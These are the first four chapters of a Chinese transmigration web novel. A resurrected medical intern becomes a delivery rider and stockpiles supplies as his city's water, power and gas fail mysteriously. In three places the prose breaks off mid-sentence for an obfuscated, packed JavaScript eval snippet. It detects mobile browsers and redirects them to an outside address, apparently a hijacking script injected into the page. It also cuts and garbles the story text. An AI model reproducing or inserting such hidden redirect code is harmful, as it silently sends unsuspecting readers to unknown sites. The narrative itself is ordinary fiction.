《灾难生存(快穿)》 1. 第 1 章 B市 城中村 狭小的单人间,一个二十出头的年轻人睁开眼,眼里带着惊恐的余韵,仿佛还没从某件事中回过神。 贺隽夏下意识紧紧捂住胸口,过了好一会,他慢慢低下头看着身上干干净净的,没有被鲜血染红的白T,眼里的惊恐变成劫后余生的喜悦。 444没有骗他,他真的活了。 准确来说是他替科室主任挡了医闹者刺向他的尖刀,被医院抢救无效死亡后,一个自称444的系统找上门,问他愿不愿意去做灾难任务。 只要攒下100000000积分就可以原地复活。 父母已经年迈,他又是家里的独生子,别说一亿,就是十亿积分,贺隽夏也会毫不犹豫地答应。 现在是他的第一个任务。 根据合同约定,只有成功完成三个新手任务,实习任务者才能转正,成为时空管理局的正式员工。没有通过新手任务的实习任务者则会被送回原生世界投胎转世。 贺隽夏握紧拳头。 他一定要完成任务,要活着回去见父母。 【是否接收世界信息】 【是】 一股磅礴的信息瞬间涌入贺隽夏的大脑,无数的记忆如雪花般纷纷扬扬地向他飘来。 痛痛痛! 脑袋要爆炸了。 贺隽夏只觉得有双筷子正在自己的脑浆里疯狂搅动,毫无反抗能力的他只能在1.5米的小床上痛苦地翻滚。 【444:宿主,保持清醒不要昏过去,这是在开发你的精神识海。 稚嫩的童声让贺隽夏从极致的混沌痛苦中抽离出一丝意识,他努力让自己保持清醒——他的手指深深掐入手臂,流下一缕缕鲜红的液体,他的牙齿死死咬住舌尖,血锈味溢满口腔。 【灾难任务系统444违规向宿主透露信息,惩罚:小黑屋三期】 一道冰冷刺骨的机械音脑海里响起,贺隽夏的眼睛猛地睁了睁,痛苦到几乎想放弃的意识再次坚定起来。 不能昏过去! 时间过去了一瞬,又好似过去了很久。太阳高高悬挂,窗外投来刺眼的阳光,凌乱的床上青年再度睁开眼。 他感觉自己现在非常好,仿佛之前的疼痛只是一个噩梦。 【系统系统?】 【444,444,你还在吗?】 熟悉的童声没有出现,贺隽夏的眼里闪过几分担忧。他起身来到卫生间看向镜子里惨白的人脸,脑海里自然地浮现出几行信息。 贺隽夏,男,23,大学毕业在B市某公司工作,老家C市贺家村,父母在家务农,妹妹贺隽秋,16岁,县高级中学高二学生…… 除了人生经历、家庭情况不同,这具身体的容貌和名字都与他本人一模一样。 当然,这不是巧合,是时空管理局为实习任务者降低了难度。 因为新手任务没有委托者,没有委托者的身体供任务者使用,所以时空管理局大方地给每位实习任务者都定制了一具健康的身体,身体的各项数值都处于巅峰期。 包括他刚刚得到的相关信息也只是时空管理局的临时设定,并非确有其人。 贺隽夏脱掉衣服打开花洒,恰到好处的热水倾泻而下,使得狭小的卫生间里挤满了飘忽的水汽。 哗哗啦啦的水流带走了他的疲惫,也带来了手臂和舌尖的刺痛。为了让自己保持清晰,他几乎把舌尖咬烂。 贺隽夏嘶了几声,张嘴吐出几口血沫,好痛。 快速洗完澡出来,贺隽夏顶着一头湿漉漉的头发拿起枕头边的手机查看自己目前的存款。很好,工资卡2万,加上几个支付软件里的零散钱,共有27639.8元。 两万七不算多也不算少,全用来买食物肯定能吃两年。 问题是灾难任务会有这么简单? 贺隽夏觉得不太可能。 时空管理局相当于垄断行业的超级大集团。当过社畜的人都知道,公司福利再好也不是做慈善的,你从公司得到的越多,付出的就会越多(关系户除外)。 而且贺隽夏记得一句在网上广泛流传的话:邻居囤粮我囤枪,邻居就是我粮仓。 话糙理不糙。 如果灾难来临后他没有足够的自保能力,囤再多的东西也是白给他人做嫁衣。 再说灾难分为人为灾难和自然灾难,类型多如牛毛,比如火灾、水灾、地震、恐怖袭击等,不同的灾难需要囤积的物品不尽相同。 贺隽夏也看过几本天灾流小说。 既然444给出的任务是存活两年,就说明灾难极有可能是长期灾难,不能急于一时。 不会是核污染吧? 不然贺隽夏想不出有什么灾难能持续两年,国家又不是吃素的。 算了,想太多也无用。 贺隽夏开始思考未来的两年生活。 他目前居住的单间有22平米,月租800,年租9000,由一家公寓公司管理。不算水电费,两年的房租钱18000,可以直接掏空他的钱包。 好在记忆里“他”已经提前支付了一年的房租,不然还真是个麻烦事。 贺隽夏想到时空管理局给他设定的工作,单休,早七晚九,扣除五险一金后到手五千四,挣的全是血汗钱。 不过比医学牲好多了。 医学牲实习不仅要倒给医院交钱,还有可能被疯狂的医闹干掉,比如死翘翘的他。 贺隽夏是真冤枉,被他救下的主任也是真冤枉。 医闹者的儿子两年前因为尿毒症做了换肾手术,手术很成功,但那人死性不改,换了肾继续抽烟酗酒熬夜还擅自断药,来来回回治了好几次,又把肾熬坏了,还是没得治的那种。 天作孽尤可恕,自作孽不可活。 这种自己主动奔向阎王爷怀抱的人,就是天王老子来了也救不了。结果那家人在儿子不治身亡后恨上了给儿子做手术的医生,认为医生昧下他们的钱,给儿子换了坏肾。 带他的主任就是被家属恨上的倒霉医生,而他是比倒霉医生还要倒霉的医学牲。 贺隽夏摸了摸曾经被尖刀刺中的地方,仿佛还能感觉到刀插进去时的剧烈疼痛。他忍不住骂了一句神经病,自己想死还要拖别人下水。 不过这份同样卖命的工作肯定不能再干下去。 不然凭做六休一的高强度工作,他严重怀疑灾难到来时,自己说不定还在公司里上班。 他更需要一份时间自由的自由职业。 贺隽夏打开手机商城,找到目前最热门的外卖软件“饿美了”,下载骑手版APP,注册外卖骑手。 这是他目前能想到的最好的自由职业。 B市人口近千万,不愁没有单送赚不到钱,而且外卖骑手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730919|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间自由,工资次日结,还能在外面打听奇闻轶事,顺便锻炼一下身体。 “叮咚” 手机上弹出APP发来的验证码短信。 贺隽夏复制粘贴,经过几番操作后账号注册成功,但是想要接单必须提供更多的信息,比如实名认证、驾驶证、健康证等。 时空管理局的设定里“贺隽夏”没有电瓶车驾驶证,要送外卖他还得先考个证回来。 不过没关系,他生前就考过了电瓶车驾驶证。据时空管理局发来的信息,这个世界的科技水平和他的原生世界差不多,再考一次驾照,也就多费几天时间。 再说他本来就需要时间去办理健康证,处理辞职的事。 贺隽夏沐浴在斜入室内的阳光下,低头看向窗外的车水马龙,已经下午两点了,今天就先在周边逛逛,买些物资回来。 下楼时路过电动车专用停放点,贺隽夏转头看了一眼,锁定右上角靠左边的黑色电动车。这是记忆里的“他”上个星期花了800买回来的二手车,打算用来减少通勤时间,现在用来送外卖刚刚好。 贺隽夏收回目光离开走出小区。 最先映入眼帘的是电线杆下堆放的垃圾。老旧的街道上摆着各色各样的菜摊,顾客和摊贩的交谈声迎面扑来。 熟悉又陌生的景象让一颗初入异世而有些忐忑不安的心渐渐平静下来。 …… “叮咚,接单成功,从老花鸡公煲到明辉小区3栋2号楼,已为您开启导航。” 贺隽夏立刻跟着导航提醒驶向老花鸡公煲。 这是他接的第一份外卖单。 来到异世界的第三天,贺隽夏终于办好了送外卖需要的证件,成功通过线下的骑手培训,成为一名外卖骑手,并且在第五天正式上岗。 老花鸡公煲很好找,店面不小,就开在路边,不是那种只做外卖的小店,贺隽夏很快就到达了目的地。 他大步走进去被红油爆辣的香气糊了一脸,店里正忙得热火朝天,几个穿着同款蓝黄相间骑手服的骑手也在等待,完全没有闲聊的意思。 贺隽夏抽空看了眼墙上的价位表,小份鸡公煲15,中份鸡公煲20,大份鸡公煲25,以B市的物价来说还算便宜实惠,难怪外卖生意不错。 等了好几分钟,贺隽夏终于等到属于他的67号订单,而在等餐期间,外卖系统又给他接了顺路的订单。 贺隽夏揉了揉额角。 不怪刚才等在店里的外卖员不想说话,这么多单子挤在一起很容易超时,一旦超时就等于白送,万一得了差评还会倒亏钱。 现在他也不想说话,只希望早送完早结束。 然而一直不接电话、不回消息、不给准确地址的第六位客人成功让贺隽夏计划好的时间推迟了整整十分钟。 一步慢,步步慢,贺隽夏又是个严格遵守交通规则的人,于是第七份订单理所当然地超时了十五分钟。 好在第七份订单的主人是个很好说话女生,不仅没有在意贺隽夏的超时,见他满头大汗,还送了瓶微冰的矿泉水给他。 贺隽夏则带走了对方家里的两袋垃圾作为回报。 下午两点,送完最后一份订单的他关掉接单系统,来到老花鸡公煲点了个小份鸡公煲。 “微X到账15元。” 播报声响起的下一秒,贺隽夏的手机骤然黑屏。 2. 第 2 章 没电还是死机? 贺隽夏按了按开机键,等了一会没动静后拿出兜里的充电宝。充电宝一直在给手机充电,还剩下21%的电量,不可能是手机没电。 所以是死机了? 时空管理局的设定里,这部手机购于两年前,花费2500元,是“他”拿到工资后给自己买的第一部手机。 贺隽夏皱了皱眉,按理说只用了两年时间的知名品牌中端机不应该突然息屏死机。 不过智能机器的寿命谁也说不准,搞不好这台手机就是隐藏的残次品。 贺隽夏没有想太多,他把手机和充电宝往口袋一送,专心品尝服务员送来的美食。 砂锅里的鸡肉看起来不少,贺隽夏拿起翻了翻,果不其然,表层的鸡肉被扒开露出底下满满当当的金针菇、腐竹、粉丝和土豆。 当然,比起B城的物价和其他餐饮店的价格只有面上好看的小份鸡公煲已经非常划算,贺隽夏没有不满。 他起身给自己盛了碗免费的米饭,将砂锅里的酱汁舀出来均匀地洒在米饭上,用勺子打乱整齐的米饭,让酱汁混合得更加均匀。 这是他吃鸡公煲的习惯。 贺隽夏舀了一勺米饭,又夹了一块裹满酱汁的鸡肉,一起送进嘴里慢慢咀嚼,鸡公煲的味道出乎意料的不错。 又累又饿的贺隽夏足足添了两次米饭才心满意足地擦擦嘴巴放下筷子,他从口袋里拿出手机,再次按下开机键,熄灭的手机屏幕瞬间亮了起来。 刚才的死机大概只是个意外? 不久前才购入了一批食品药品等生活物资的人并没有换个手机的打算,吃完迟来的午饭后,贺隽夏打开APP继续接单。 一天下来他收入不错,扣除保险费、罚款等共赚了127,明天审核通过后就能提现到银行卡。 出于对自己辛勤工作的奖励,路过摆满小吃摊的某大学校门时,贺隽夏决定带点奶茶宵夜犒劳一下自己。 烤冷面、鸡蛋汉堡、淀粉肠、水果、凉面、泡菜、卤肉卷、梅干菜饼、烧烤、奶茶…… 一连串的小吃看得贺隽夏眼花缭乱。 他咽了咽口水,很快就锁定一家排队人数不少的卤肉卷摊,只是在即将轮到他时前面突然出了岔子。 本该拿着卤肉卷走人的女生在扫码付钱时突然遭遇手机黑屏,黄丽丽不停地按压手机的开关键,急得满头大汗。 可惜手机毫无动静。 她看了眼后面排队的人,十分尴尬地拿着卤肉卷站到队伍旁边和死机的手机继续斗争。 贺隽夏想起下午突然黑屏的手机,幸亏他的手机更贴心,付钱后才突然死机,不然他就要和女生一样尴尬地罚站。 他好心道:“你那个多少钱,我帮你付。” 黄丽丽感激地抬起头,看见贺隽夏身上的外卖服时愣了愣,但她很快就回道:“谢谢谢谢,我的八块钱,帅哥,你给我留个微X号吧,等我手机开机了还你。” 贺隽夏同意了。 他现在花的每一分钱都是自己辛辛苦苦赚来的血汗钱,既然对方主动提出来,他才不会充大款拒绝。 要知道赚八块钱得送两次外卖呢。 贺隽夏拿出手机扫码,对着卤肉卷摊的老板道:“来一个火腿卤肉卷,多加辣,我和她的一起付。” “微X到账16元。” 语音播报的声音响起,黄丽丽肉眼可见地松了口气。她摸出纸巾擦了擦额头上的汗水道:“帅哥,你微X号是多少?” 贺隽夏张嘴刚想报出一串熟悉的数字,脑子突然反应过来,他已经不是医生牲贺隽夏了,他现在是时空管理局的实习任务者,失败一次就要和回家说拜拜的那种。 该死的医闹! 贺隽夏再次在心里恶狠狠地唾骂那家神经病,情绪却瞬间低落下来。 “小伙子,你的卤肉卷好了。” 老板的声音打断了贺隽夏的回忆,他恍然抬头接过打包好的卤肉卷,打开手机向女生报了一串陌生数字。 黄丽丽点点头,重复了几遍后又将自己的微X号告诉贺隽夏,让他向自己发送好友申请。 不然万一自己忘记对方的微X号,再想还钱就难了。 看着对方发送好友申请后,黄丽丽再次道谢就匆匆离开,连手里香气诱人的卤肉卷都吃一口,还钱的欲望非常强烈。 贺隽夏没把这件小事放在心上。 他一边吃卤肉卷,感受柔韧的面皮、脆爽的黄瓜土豆丝、碎碎软软的卤肉和麻麻辣辣的酱汁同时在口腔里被牙齿碾碎咀嚼的复杂口感,一边漫无目的地在小吃一条街里闲逛。 灾难到底是什么? 核辐射、战争、变异病毒突然爆发还是火山爆发、天降陨石、丧尸变异? 满打满算自己来这个世界已经五天了,出租屋里也已经囤了一大堆粮食饮用水药品等。 可是目前为止为止他连一点捕风捉影的灾难苗头都没见着,网上线下一片祥和,热搜上全是娱乐圈里鸡毛蒜皮的小事。 贺隽夏有些焦躁不安。 他现在就像大学期末考时疯狂熬夜看书的大学生,既希望考试早点到来,早考完早结束,又希望考试慢点到来,多背几个考试重点。 真磨人啊。 忧虑中的贺隽夏又买了个梅干菜饼准备当明天的早餐。 事实证明他的决定大错特错。 被冰箱冷藏一晚上的梅干菜饼坚硬无比,给他的牙齿、腮帮和脆弱的咽喉都带来了极大的负担,以至于贺隽夏不得不一口饼,两口水。 就这样他还是差点被硬邦邦的饼子噎死。 咽下最后一口梅干菜饼,贺隽夏揉了揉酸痛的腮帮子,咕咚咕咚往嘴里倒水,没一会儿一瓶550ml的矿泉水就见了底。 贺隽夏把空瓶子塞回车后的外卖箱,箱里还放着几瓶同款的矿泉水。不过这些矿泉水不是新水,是他喝光后又自行装了桶装水,把矿泉水瓶当常用水瓶来用。 时间在忙碌中一天天地过去。 第九天,送走两个小时的午餐高峰期后,贺隽夏随便找了家还算干净的苍蝇馆子坐下。 后厨的老板探出头:“吃点什么?” 贺隽夏抬头看了看菜单道:“一碗鸡蛋肉丝饭。” 老板:“好。” 几分钟后,老板遗憾地走出来:“不好意思,店里的液化气用完了,现在炒不了饭。” 贺隽夏:…… 或许是看他的表情过于惊讶,老板不好意思道:“不知道怎么回事,明明看表还有很多气,但就是打不上火。” 行吧,还能咋滴,去下一家。 不知道是不是贺隽夏今天特别倒霉,他一连去了好几家店,得到的回复都是不好意思,水停了,电停了,气停了,现在没办法营业。 贺隽夏震惊,贺隽夏不解。 谁家好城市突然在下午两点停水停电还停气啊,还有,你们居然用的不是半成品料理包? 哦,差点忘了,料理包也需要开火加热。 贺隽夏无奈地打开手机地图找最近的连锁便利店——现在的连锁便利店大多会兼职卖一些炸鸡关东煮烤肠之类的小食,而且是早就做好的成品。 “叮咚”“叮咚”“叮咚”…… 他按下开关键的一瞬间,各种消息争先恐后地弹出来挤占通知栏。 贺隽夏目光一顿,B市竟然上了热搜。 不是关注者少的同城热搜,是总热搜榜。虽然目前排名还比较靠后,但他每刷新一次都能看见词条的热度和排名飞速上涨。 #人在B市但被饿死#、#B市疯了吗?#、#B市停水停电停气# 三个与B市有关的热搜词条挤在娱乐圈新闻和国家政策间显得十分突兀,而其中排名最高的#人在B市但被饿死#已经进入热搜榜前十。 贺隽夏好奇地点进去,里面全是B市网友在发黑脸人问号的表情包,吐槽B市突然发神经。 有人刚上完厕所没水冲,外面有一排人等着;有人手机只剩下3%的电;有人要上18楼给公司送文件;还有人辛苦排了几个小时的网红店被迫停业,只能饿着肚子离开餐厅,甚至因为没有热水,连泡面都吃不上。 林林总总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730920|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部汇成一句话:B市,你罪大恶极! B市:??? B市:QWQ B市表示自己真的很委屈。 作为一座人口近千万的超级大都市,除非发生突发情况(如水管电缆被挖断)不得不临时修理,平时检修都会提前发出书面通知,说明什么时候停水停电,什么时候来水来电。 谁没事突然下令停掉全市的水电气,嫌屁股下的位置太烫吗? 水电气相关方面的体制内工作人员也纷纷在心里嘀咕猜测,他们没见上面的人发通知啊,这么大的事怎么不提前通知? 要是不能给出合理的解释,就凭现在丢脸丢到全国人民面前的情况,绝对是严重的工作失职——水电气是民生大计,关系到人们生活的方方面面,不是谁一句说停就能停,说一句不停就不停。 更何况B市是省会城市,是一个省的脸面,出了这么大的事,上面绝对会问责,各种检查报告一个都少不了。 到底谁这么缺德啊? 是的,所有人都没想过机器故障的可能。 毕竟水、电、天然气由三个不同的部门管理,如果不是上面下命令,全城的水电天然气不可能在同一时间断掉。 三个部门的主管:…… 冤枉啊,冤枉啊,他们真的比窦娥还冤枉。 消息发酵后的第十五分钟,B市发出蓝底白字的正式通告,总结下来就一句话:不好意思,三方大检修。 愤怒的网友:你脑子有病还是我脑子有病? 水、电、气三方面的大检修就一定要在同一天同一时间开始,那么大个B市,九个市辖行政区就一定要哥俩好一起来? 那干嘛还把B市分成九个区,直接合并统一管理算了,省时又省力。 再说就算要检修,为什么不提前通知,非要上热搜了才出来说明,不知道同时停水停电停气会来带很多麻烦吗? 愤怒的B市网友吗们在热搜词条里阴阳怪气,以至于词条的热度不仅没有减少,还在各种的“地狱笑话”里快速增长,引来其他省市的网友哈哈大笑。 B市真是丢脸丢到姥姥家了。 消息发酵后的第六十分钟,B市消失的水电气突然又回来了。 得知事情已经解决,大部分B市网友没有再纠缠下去,几个热搜词条的热度快速降低。但也有一小部分人紧追不舍,怒骂B市把百姓的生活当儿戏。 不怪他们这么想。 平时小分区内的电力检修都需要几个小时,B市闹出这么大的阵仗全方面检修,结果只用60分钟就结束了,很难不让人怀疑他们的专业性。 不搞就不搞,要搞就好好搞。 一座人口近千万的超级大城市做出的每一个决定都关系到几十上百万人的生活,民生工程不是过家家。 不过大部分人已经偃旗息鼓,剩下的小部分人就是再愤怒也翻不起太大的风浪。 B市舆情方面的工作人员看着热搜词条从排行榜上消失,心里总算松了口气,对闹出这件奇葩事情的三个部门怨念不已。 不久后就是三天小长假,B市文旅局蓄势待发,准备好好宣传一下自家景点。 上面本来就下了一大堆任务,要求他们配合文旅局的工作,关键时刻又闹出这种幺蛾子,影响B市风评,增加他们的工作量。 水电气三部门:痛苦面具.jpg 再说一遍,停水停电停气真不是他们的锅! 天知道,在看见热搜的第一时间他们就派人去查看情况了,得出的结果是机器失灵。 虽然机器坏在哪里暂时还不清楚,但是全方位无死角的监控视频可以证明没有人主动关掉全市的水电气。 可三家的机器突然同一时间失灵,又突然在同一时间恢复正常,说是巧合谁信啊。如果不是有监控录像证明,他们就是跳进黄河都洗不清。 能在体制内混上去的人都不是傻子,三个部门一合计,怀疑是境外势力作乱,便直接报到了安全部门,对外用大检修作为借口安抚愤怒的民众。 可怜的三部门就这样背了黑锅。 3. 第 3 章 贺隽夏握着手机目光沉沉。 虽然不清楚其中的内情,但是敏锐的直觉告诉他,让B市上热搜的罪魁祸首绝对不是所谓的大检修。 大检修更像政府用来安抚民众的借口。 灾难来了吗? 贺隽夏眉头紧皱,他抬头看着阴沉压抑的天空,心里生出几分不安和凝重。 逐渐强劲的大风呼呼作响,地上的垃圾随风四处飘摇,轰隆的雷声突然炸响,仿佛下一秒就会有暴雨倾盆而下。 贺隽夏的心跳随着雷声颤动,他叹了口气,没有再去思考灾难的类型,而是驶向B市最大的综合批发市场。 无论如何多囤点东西总没错。 想到今天的情况,贺隽夏购买了大量方便食品和固体酒精块、木炭、打火机、打火棒和饮用水消毒片等生活用品。 因为东西太多小电驴放不下,他直接打个货拉拉,连人带车带货一起拉回家。 小型货运面包车的出现并没有引起其他人的注意。虽然贺隽夏买的东西不少,但和这座日吞吐量巨大的批发市场相比,就是大海里的一滴水,别人多看一眼都嫌浪费时间。 半个小时后,面包车在小区门口停下。 贺隽夏没有让车师傅帮忙,赚不到搬运费的车师傅有点不高兴,催促他快点把东西拿下车,自己还要接新订单。 贺隽夏懒得和司机吵。 他快速把东西搬下车,将小电驴停在规定位置里,蚂蚁搬家似地把几个大蛇皮口袋推进电梯,按下六楼的按键。 值得一提的是,贺隽夏并没有坐电梯,而是走了黑黢黢的楼梯。 他担心B市再次突然停电把他困在电梯里。 下午四点的公寓楼几乎没有人,大部分住客还在外面当牛马,贺隽夏从安全通道爬上六楼时,电梯也早已停在六楼。 他一手提两个蛇皮口袋,扛着将近两百斤的货品回出租屋。屋子本就不大,堆着大大小小的粮食米面罐头等更显逼仄。 而现在仅剩的一点空间也被这些东西填满。 贺隽夏胡乱坐在地上,抹了抹额头上的汗水,犹豫明天还要不要送外卖。 今天B市闹出的动静给他敲响了警钟,一场至少为期两年的灾难即将到来,或者说已经到来。这里终究不是他原来生活的世界,他必须警惕起来,时时刻刻注意B市的不同寻常之处。 贺隽夏打算先看看明天的情况再做决定。 现在不是最危险的时候,苟在家里只会让他陷入被动,失去网络之外的其他信息来源。 贺隽夏打开不久前加入的骑手聊天群,群里显示有几百条未读消息,他翻到第一条未读消息,点击语音转文字,一条一条往下读。 消息发出时间集中在下午两点,那会正是B市突然停水停电停气的时候,消息内容也大多是骑手们对B市的吐槽。 毕竟这番突如其来的骚操作不仅影响商家顾客,也影响外卖骑手,害他们在那段时间只能接到少量配送单。 贺隽夏耐着性子往下看,略过大量毫无意义的发言后,终于发现了几条不同寻常的消息。 【骑手黄莹:11S(语音转文字:好烦啊,建平街的老李面馆换上新的液化气罐还是打不着火,再搞不好我后面几个单子都要超时了)。】 【骑手朱乐物:5S(语音转文字:让老板退单吧,别等了。)】 【骑手牛建民:21S(语音转文字:我这单也是,奇了怪了,店里三个液化气罐都打不上火,有两个还是前天刚换的新罐子。)】 【骑手张安康:15S(语音转文字:今儿个咋回事,我上一个送药单药店里的发电机坏了,发不了电。)】 贺隽夏的目光在几条消息里来回移动,猛然想起自己去的第一家饭馆,老板也吐槽说明明罐子里有不少液化气,怎么就是打不上火。 一家是巧合,家家就是必然。 这种事情不常见却也不少见,当时的他并没有放在心上,如今想来,其中肯定有问题。 B市突然停水停电停气(天然气)还可以解释成人为控制,让储存在液化气罐里的液化气失效,却不是人为控制那么简单。 贺隽夏不由得脑洞大开,难道这个世界的灾难是能源消失?水也算能源的一种? 贺隽夏的脸色不太好看。 水是生命之源,三天不喝水就可能出现死亡症状,七天不喝水必死无疑。如果他没猜错,那么想要在灾难中存活两年绝不是一件容易的事,或者说是一件极其困难的事。 贺隽夏看了眼房里堆积的物资,转头去附近的几家小超市里分别买了几箱矿泉水,又在网上下单了好几个能次日达的储水箱。 做完这一切,他才感觉到些许心安。 …… 晚上十点 贺隽夏洗完澡从浴室里出来,正在床上充电的手机突然亮了起来,响起欢快的呼喊声。 “电话来啦,电话来啦……” 贺隽夏上前拿起手机,屏幕上的两个字让他动作一顿。 “喂?” 曾秀平捏着手机小心翼翼道:“小夏啊,你最近给家里买这么多东西,我看里面还有很多药,是怎么了吗” 贺隽夏拿出早就准备好的解释:“最近不是闹流感吗,我想着家里没有常见药,就在网上买了点。” 曾秀平顿时紧张地问:“你没感冒吧?” 贺隽夏:“没有。” 曾秀平总算松了口气:“那就好那就好。” 她继续道:“米啊面啊油啊家里都有,你不要浪费钱,那什么肉罐头,我和你爸吃不来,不好吃,你妹也不喜欢,别给家里买了,也别给你妹那么多零花钱。” 贺隽夏笑道:“没事,公司前几天给我发了笔奖金,我不缺钱,要是你们不喜欢吃,就把东西放在我房间,不能送给别人啊,我放假回来吃。” 听到放假两字,曾秀平被带偏了思路,期待道:“外后天过节你回来吗,家里养的几只鸡鸭都可以杀了?” 贺隽夏:“不知道,要看公司安排。” 曾秀平有些失望但还是嘱咐道:“不要紧,你在公司认真干,家里一切都好,你不要担心。” 贺隽夏:“嗯,我知道。” 曾秀平终于想起刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730921|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被带偏的思路,念念叨叨道:“家里就你们兄妹两个,你和你妹关系好,我们心里肯定高兴,但是我和你爸每个星期给小秋150块生活费,她够用了。” “你要给就给个几十块,一百块意思一下,给多了她乱用,上回星期天放假就买了好多零食回来,饭都不肯吃。你自己挣钱不容易,有钱自己存着,家里的事不用操心,我和你爸好得很。” 简单聊了几句,贺隽夏借口有事挂断电话,他看着屏幕上通话已结束的提示再次陷入沉默。 时空管理局设定的母亲和他的母亲很不一样。 他的母亲是高中数学老师,说话做事风风火火,还有不小的控制欲,直到生病动了个手术后才渐渐转性,不再试图控制他生活的方方面面。 而曾秀平和他这个儿子说话时却有些放低自己的姿态,似乎很担心自己影响到儿子的日常生活和工作。 她们是两个完全不同的人。 贺隽夏揉了揉眉心,想到母亲的身体和病情有些担忧,不知道家里的情况怎么样了。 虽然他和系统444签约时,合同上写明了拥有足够的积分后,时空管理局会逆转时空送他回到事故发生前改变命运,但就现在来说,他原本的身体已经彻底死了,说不定连骨灰都埋好了。 每每想到这一点,贺隽夏就痛苦不已。 早知道有这一天,他就应该劝父母多生几个孩子,好过经受失独的折磨。 贺隽夏闭了闭眼,慢慢平复心情,他从微X里找到“妹妹”的头像点进去,聊天框里的对话在五天前。 聊天内容主要是他询问家里对他买回去的东西的处理方式,又给“妹妹”转了五百块,让她在放假的时候多往家里买点可以长期保存的食物。 【贺隽夏:转账1000元】 【贺隽秋:猫猫问号.jpg】 【贺隽秋:哥,你最近发财了吗,这么大方?】 【贺隽夏:200是你的辛苦费,外后天放假了你和爸先在县里买200块的矿泉水,100块的固体酒精,50块打火机和打火棒,100块的木炭,100块的饮用水消毒剂,剩下的钱买方便面、水果硬糖和巧克力。】 【贺隽秋:???】 【贺隽秋:哥,你到底咋了,我有点害怕?】 【贺隽夏:你就说你答不答应。】 【贺隽秋:嘿嘿,必须得答应,但是老爸老妈那边不好交代啊。】 【贺隽夏:我去和爸说,你态度强硬一点,事成之后,我给你买你最喜欢那套汉服。】 【贺隽秋:收到,保证完成任务。】 【贺隽夏:记得把水放在三轮车最下面,用其他东西挡住,别在其他人面前多说,知道吗,还有你,放假后尽量不要去太远的地方玩。】 【贺隽秋:好啦好啦,我知道啦,啰嗦鬼。】 【贺隽秋:猫猫敬礼.jpg】 贺隽夏看着屏幕里的小猫动图,嘴角微微上扬,但在他意识到这一点后,笑容又很快消失不见,仿佛不曾存在。 他已经做完了所有能做的事,剩下的就看他们自己的了。 4. 第 4 章 对于给“家中”囤货这件事,贺隽夏有自己的想法和考量。 首先,他与“家里人”同时接收了时空管理局设定的记忆,对他们有几分亲切感。 其次,时空管理局明令禁止任务者在任务世界作奸犯科,进而可以推断出时空管理局对任务者的品行有一定要求。 他帮助“家人”的行为或或许能对他的实习考核起到一定的帮助,加一些印象分。 毕竟他所在的那个世界就曾流行过一段时间的应聘者捡纸小故事。 最后,也是最重要的一点,不同的灾难需要不同的应对方式。 如果灾难是传染病、丧尸爆发,他就必须尽快远离人类高度密集的B市。如果灾难是灵气复苏,野生动物变异等,那么留在发达的B市才是最好最安全的选择。 出于这些原因,贺隽夏决定效仿古人狡兔三窟,把“家”打造成备用避难所。 反正现代社会生产力发达,粮食便宜,花也花不了多少钱。 只希望第一个世界的灾难不要太难。 贺隽夏揉了揉眉心,怀揣着对未来的忐忑沉沉睡去。 * 第二天无事发生。 在出租屋里呆了一个上午加一个下午的贺隽夏决定出去跑外卖,赚一波夜猫子的外卖费。 毕竟花的多,赚的少,送外卖是他目前唯一的资金来源。 贺隽夏打开手机的照明功能,熟练地忽视了某平台发来的无息借款等垃圾短信,从安全通道快速下楼。 别误会,不是他品德有多高尚。 只是他每次尝试向这些软件借钱时,时空管理局就会立刻弹出警告。 解释?没有 问就两个字,不行。 贺隽夏没有办法只能作罢,谁让他现在只是一个还没转正,不被时空雇佣法保护的实习任务者。 如果自己敢公然违反时空管理局的规定,贺隽夏相信时空管理局不介意来个杀鸡儆猴。 贺隽夏看了眼手机支架上的手机屏幕,朝导航所指的方向快速驶去。 晚上点外卖的人不少,没一会儿,他就抢了四个顺路的配送单。其中有两个配送单是同一个地址同一个电话,等于白捡一单的钱。 贺隽夏心里美滋滋。 徐徐吹来的夜风轻柔地抚过他的脸颊,夜晚的B市依然耀眼,霓虹灯五光十色光彩夺目,却比忙碌的白天多了几分悠闲惬意。 路边大大小小的烧烤摊生意火爆,贺隽夏有个配送单就来自烧烤店,同地址的还有个药店单,货物是肠炎宁片和西瓜霜。 贺隽夏:…… 怎么不算一种又菜又爱吃呢? 夜晚的道路比白天畅通,几乎没有堵车的时候。贺隽夏顺利将四份外卖交到不同的顾客手中,斗志昂扬地驶向下一个目的地。 “干什么,走开!” 一声突然爆发的尖锐呵斥压住了路边大大小小的杂音。 贺隽夏循声看去,只见几个喝成猴子屁股的男人正围着一个提着烧烤盒的女生,准备动手动脚。 